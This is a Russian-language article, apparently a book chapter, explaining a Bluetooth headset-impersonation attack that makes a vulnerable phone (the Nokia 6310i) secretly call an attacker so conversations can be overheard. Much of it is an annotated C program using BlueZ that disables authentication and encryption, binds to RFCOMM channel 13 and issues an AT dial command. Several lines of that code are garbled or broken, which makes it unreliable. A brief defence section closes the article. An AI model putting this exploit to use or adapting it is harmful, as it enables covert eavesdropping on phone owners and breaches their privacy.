Злоумышленнику нет необходимости класть вам в карман «жучок» или использовать подслушивающее устройство в помещениях, где вы находитесь, чтобы узнать содержание ваших разговоров. Для этого он может использовать ваш мобильный телефон.
В ключевой момент вашей беседы ваш телефонный аппарат наберет незнакомый вам номер и будет передавать ваш разговор до тех пор, пока заинтересованный в содержании разговора человек на другом конце провода не повесит трубку. Если мобильный телефон лежит достаточно близко к вам в момент разговора, то можно быть уверенным, что злоумышленник услышит и даже запишет все, что его интересует. При этом злоумышленник может находиться на значительном расстоянии от вас. Но это еще не все.
В вашем устройстве не останется следов того, что кому-то был сделан несанкционированный вызов. Вы не узнаете никогда о том, что вас подслушали. В исходящих вызовах не будет значиться незнакомый номер. В такой сюжет практически невозможно поверить, но это так. И для этого вовсе не обязательно производит взлом Android смартфона.
Конечно, не все мобильные телефоны могут быть использованы злоумышленником как подслушивающие устройства. Пользователи бизнес-класса предпочитают смартфоны, которые, несмотря на свою несомненную презентабельность и обширные возможности, просто переполнены различными уязвимостями. Используя именно эти уязвимости, злоумышленник может превратить ваш телефон в контролируемое им подслушивающее устройство. При желании он может вообще инициировать звонок для подслушивания телефонного разговора, находясь на другом конце Земли.
Причем не всегда злоумышленнику необходимо на некоторое время выкрадывать мобильный телефон для установки жучка, некоторые модели телефона позволяют инициировать вызов удаленно, без контакта с телефоном, более того, не зная номера телефона.
Данная атака возможна из-за уязвимости некоторых мобильных телефонов, оснащенных передатчиком Bluetooth, который используется для удаленного управления телефоном с помощью гарнитуры. Уязвимости в алгоритме авторизации таких гарнитур и приводят к возможности прослушивания. Основным недостатком данного алгоритма является то, что гарнитура зачастую не должна проходить авторизацию для того, чтобы управлять телефоном.
Отсутствие алгоритма аутентификации связано с тем, что производители гарнитур стремятся снизить стоимость за счет отсутствия аппаратной реализации данной процедуры. Производители же мобильных телефонов, зная об отсутствии таких алгоритмов в ряде гарнитур, просто упразднили механизм проверки подобного оборудования, подключенного к телефонным аппаратам для обеспечения совместимости с большим количеством гарнитур.
Конечно, так дело обстоит далеко не с каждой моделью телефона. Хотя отсутствие механизма авторизации гарнитур не является странным. Ведь подключенная к телефону гарнитура используется лишь для ведения разговора без использования микрофона и динамика мобильного телефона.
Сама гарнитура не может ни инициировать звонок, ни скачать данные из телефона. То есть неавторизованное подключение сторонней гарнитуры к телефону не несет ничего опасного.
Обычно поиск гарнитуры инициируется самим мобильным телефоном, ведь гарнитура для снижения стоимости не снабжается функционалом, позволяющим осуществлять поиск устройств.
Это означает, что гарнитура не может сама найти мобильный телефон и, тем более, не может определить, по какому Bluetooth-каналу взаимодействовать с ним.
Каждая функциональная возможность Bluetooth-передатчика закреплена за соответствующим портом (каналом) устройства. Портов у стандартного передатчика достаточно много. Сделано это для того, чтобы передатчик мог одновременно выполнять несколько функций или, на языке разработчиков, поддерживать различные профили. К профилям относятся такие возможности как информационное взаимодействие с точкой доступа сети Интернет, эмуляция последовательного порта для обмена данными с персональным компьютером, передача и прием электронных визиток и т. п. Одной из этих возможностей является взаимодействие с Bluetooth-гарнитурой. Обычно, мобильный телефон, найдя в зоне действия Bluetooth-передатчик гарнитуры, передает ей номер порта, по которому гарнитура и осуществляет подключение.
Но для уязвимых телефонов номер профиля беспроводной гарнитуры точно известен. А если номер канала известен, а авторизация отсутствует, то существует возможность осуществить атаку. Усугубляет положение то, что подключенная к телефону гарнитура обладает достаточно высокими правами.
Рассмотрим, как злоумышленник может воспользоваться данной уязвимостью для организации атаки. Прежде всего, он может обратиться к уже рассмотренным в предыдущем разделе приемам. К ним, прежде всего, относятся использование операционной системы типа UNIX, установленной на мобильном ноутбуке, Bluetooth-адаптер и применение пакета Bluez.
С помощью такого арсенала злоумышленник эмулирует Bluetooth-гарнитуру. Настроив Bluetooth-адаптер таким образом, чтобы он отвечал требованиям мобильного телефона к гарнитуре, он без авторизации обращается к мобильному телефону и начинает управлять им. Рассмотрим основную часть программы, созданную с использованием библиотек Bluez на языке С.
Ниже приведен пример такой программы. Текст программы упрощен, так как цель этого примера показать суть действий злоумышленника. Из текста исключены необходимые проверки условий выполнения каждого действия, перехват сигналов-исключений и так далее.
В первых строках приведенного кода программы [1,2,3] происходит подключение заголовочных файлов, где приведены основные определения для работы с функционалом Bluez.
1 #include <bluetooth/bluetooth.h>
2 #include <bluetooth/hci.h>
3 #include <bluetooth/hci_lib.h>
4 int sock=-1, dev_id=-1, hci_sock=-1, channel=13;
5 int main(int argc, char *argv[]) {
6 dev_id = hci_get_route(NULL);
7 hci_sock = hci_open_dev(dev_id);
8 bt_configure(dev_id, hci_sock);
9 sock = socket(AF_BLUETOOTH, SOCK.RAW, BTPROTO_RFCOMM);
10 bt_bind(sock, devjd, «BA:00:01:FF:32:AA», channel);
11 rfcomm_fp = fopen(«/dev/rfcomm», «w»);
12 btjfcomm_config(fileno(rfcomm_fp);
13 at_dial (rfcommjp, «79037548744»);
14 fclose(rfcomm_fp);
15 hci_close_dev(hci_sock);
16 }
Далее в программе [4] определяются переменные, с которыми предстоит работать.
Выполнение атакующих действий начинается в строке 6 приведенного программного кода. В данной строке определяется идентификатор атакующего устройства Bluetooth с помощью функции hci_ get_route. Параметр NULL в этом вызове показывает, что будет использоваться устройство Bluetooth по умолчанию, а полученное значение dev_id и есть необходимый идентификатор. В данном случае — это идентификатор подключенного к ноутбуку адаптера Bluetooth. Данный идентификатор используется для того, чтобы создать на атакующем компьютере сокет на уровне HCI. Делается это с использованием специальной команды hci_open_dev.
В строке 7 происходит создание дескриптора сокета hci_sock. Данный сокет используется для взаимодействия с устройством атакуемого на низком уровне, на котором фактически происходит обращение Bluetooth гарнитуры к мобильному телефону.
Следующая далее [8] функция bt_configure конфигурирует сокет для установки будущего соединения таким образом, чтобы использовать уязвимость некоторых моделей телефона, то есть отсутствие аутентификации при обращении к ним Bluetooth гарнитуры. Ниже приводится текст данной функции:
1 int bt_configure(int dev_id, int s) {
2 struct hci_dev_req dr;
3 dr.dev_id = dev_Id;
4 dr.dev_opt = AUTH_DISABLED;
5 ioctl(s, HCISETAUTH, &dr)
6 dr.dev_opt = ENCRYPT_DISABLED;
7 ioctl(s, HCISETENCRYPT, &dr)
8 return 0;
9 }
В качестве параметров функции передаются идентификатор подключенного к ноутбуку адаптера (dev_id), а также дескриптор созданного сокета (s).
Сама же функция создает канал для сокета hci_sock. Причем канал создается таким образом, чтобы обмен данными осуществлялся по нему без авторизации. Делается это с помощью установки поля dev_opt структуры hci_dev_req, равным AUTH_DISABLED [5]. Далее в строке 5 происходит настройка канала в соответствии с выставленным значением поля структуры.
Аналогичным образом отключается режим шифрования для работы с данным каналом. Делается это с помощью директивы ENCRYPT_ DISABLED [6]. После выполнения данной функции в основном тексте программы создается сокет для канала RFCOMM [9].
Передаваемые в функцию создания сокета параметры являются указанием на то, как должен функционировать канал передачи данных RFCOMM. Как правило, набор этих параметров стандартен:
- AF_BLUETOOTH — переменная, указывающая, что будет использован домен коммуникации Bluetooth и его набор протоколов;
- SOCK_RAW — указание на низкоуровневый сетевой протокол;
- BTPROTO_RFCOMM — указание на конкретный используемый протокол.
Необходимо отметить важную деталь. Как уже было сказано выше, выбор канала для каждого устройства — это ключевой момент атаки. Так для модели телефона Nokia 6310i применяется значение, равное 13. Так как именно этот канал данной модели является незащищенным и используется для управления телефоном с помощью гарнитуры. Подчеркнем, что в качестве примера мы разбираем атаку на устаревшую модель Nokia 6310i.
В связи с этим, связь с атакуемым устройством устанавливается именно по каналу номер 13. Это значение присваивается в начале программы [4] переменной channel, которая позже передается функции bt_bind.
В стандартной структуре типа rfcomm_dev_req заполняются поля dev_id, переданным в функцию значением dev_id, а также поле flags, которое инициализируется нулем.
1 int bt_bind(int sock, int dev_id, char *bdaddr, int channel) {
2 struct rfcomm_dev_req req;
3 req.dev_id = dev_id;
4 req.flags = 0;
5 req.channel = channel;
6 bacpy(&req.src, BDADDR_ANY);
7 bacpy(&req.dst, bdaddr);
8 ioctl(sock, RFCOMMCREATEDEV, &req);
9 return 0;
10 }
Поле channel устанавливается равным 13, то есть номеру незащищенного канала для телефона Nokia 6310i. Поле src инициализируется значением BDADDR_ANY, указывающим на то, что создаваемый канал RFCOMM может быть использован любым устройством для подключения. Поле же dst инициируется адресом атакуемого устройства, показывая тем самым, что все данные по каналу будут передаваться устройству именно с этим адресом. Канал RFCOMM создается с помощью стандартной функции ioctl [8].
На следующем шаге в основном теле программы только что созданное устройство «/dev/rfcomm/» открывается на запись.
Все данные, записываемые в него, будут переданы на атакуемое устройство.
Для того чтобы атакуемый телефонный аппарат принял эти данные и верно их интерпретировал, злоумышленник выполняет вызов функции bt_rfcomm_config, которая имеет следующий синтаксис.
Данная функция устанавливает параметры терминального интерфейса, работающего с асинхронным коммуникационным портом.
В функции выставляются необходимые флаги для установленного соединения. Данные флаги позволят сконфигурировать канал таким образом, чтобы Bluetooth-адаптер атакуемого устройства не запросил авторизацию и оставил подключение по Bluetooth незамеченным для пользователя.
1 int bt_rfcomm_config (int fd) {
2 struct termios t;
3 int ret;
4 t.c_iflag = IGNBRK;
5 t.c_oflag = 0;
6 t.c_cflag = CLOCAL | CREAD | CS8 | B115200;
7 t.cjflag = 0;
8 t.cjine = 0;
9 t.cjspeed = B115200;
10 t.c_ospeed = B115200;
11 ret = tcsetattr(fd, TCSADRAIN, &t);
12 return ret;
13 }
Рассмотрим эти опции. Полю c_iflag присваивается значение IGNBRK. Это соответствует запрету на прерывание ввода в атакуемое устройство.
Полю c_cflag присваиваются значения CLOCAL | CREAD | CS8 | В115200. Это указывает на то, что будет игнорироваться управление линиями с помощью модема, будет производиться прием данных и будет установлена определенная длина передаваемой строки, а также будет использоваться указанная скорость передачи.
Наконец рассмотрим ту часть программы, которая реализует запрограммированные злоумышленником действия по инициализации звонка.
Выполняются запрещенные действия в функции at_dial исходного кода программы. Рассмотрим ее реализацию.
1 int at_dial(FILE *fp, const char *call_id) {
2 fprintf(fp, «AT»);
3 fprintf(fp, «D»);
4 sprintf(fp, «%s;», call_id);
5 fprintf(fp, «rn»);
6 return 0;
7 }
Функция выполняет простейшее действие — инициирует с атакуемого мобильного телефона набор номера, переданного злоумышленником. В дескриптор, передаваемый в функцию, записывается АТ-команда набора телефонного номера. После получения такой команды атакуемый телефон инициирует вызов на указанный номер без ведома владельца.
Существует еще один способ реализации подобной атаки, который заключается в необходимости установки на телефон пользователя специальной программы-жучка. Эта программа будет инициировать вызов при получении специальной SMS, которая будет сразу же удалена после совершения вызова. Эта атака менее эффектна ввиду того, что злоумышленник должен заполучить мобильный телефон жертвы на некоторое время.
ЗАЩИТА ОТ АТАКИ
Защититься от данной атаки невозможно. Тем не менее, уязвимыми для этой атаки являются не все телефоны. Некоторые модели все же требуют аутентификацию гарнитуры. Пожалуй, единственный способ защиты уязвимых моделей — это накладывание патча, который позволит закрыть данную уязвимость в «прошивке» телефона. Помочь защититься от прослушивания может отключение мобильного телефона на время беседы, содержание которой не должно быть предано огласке.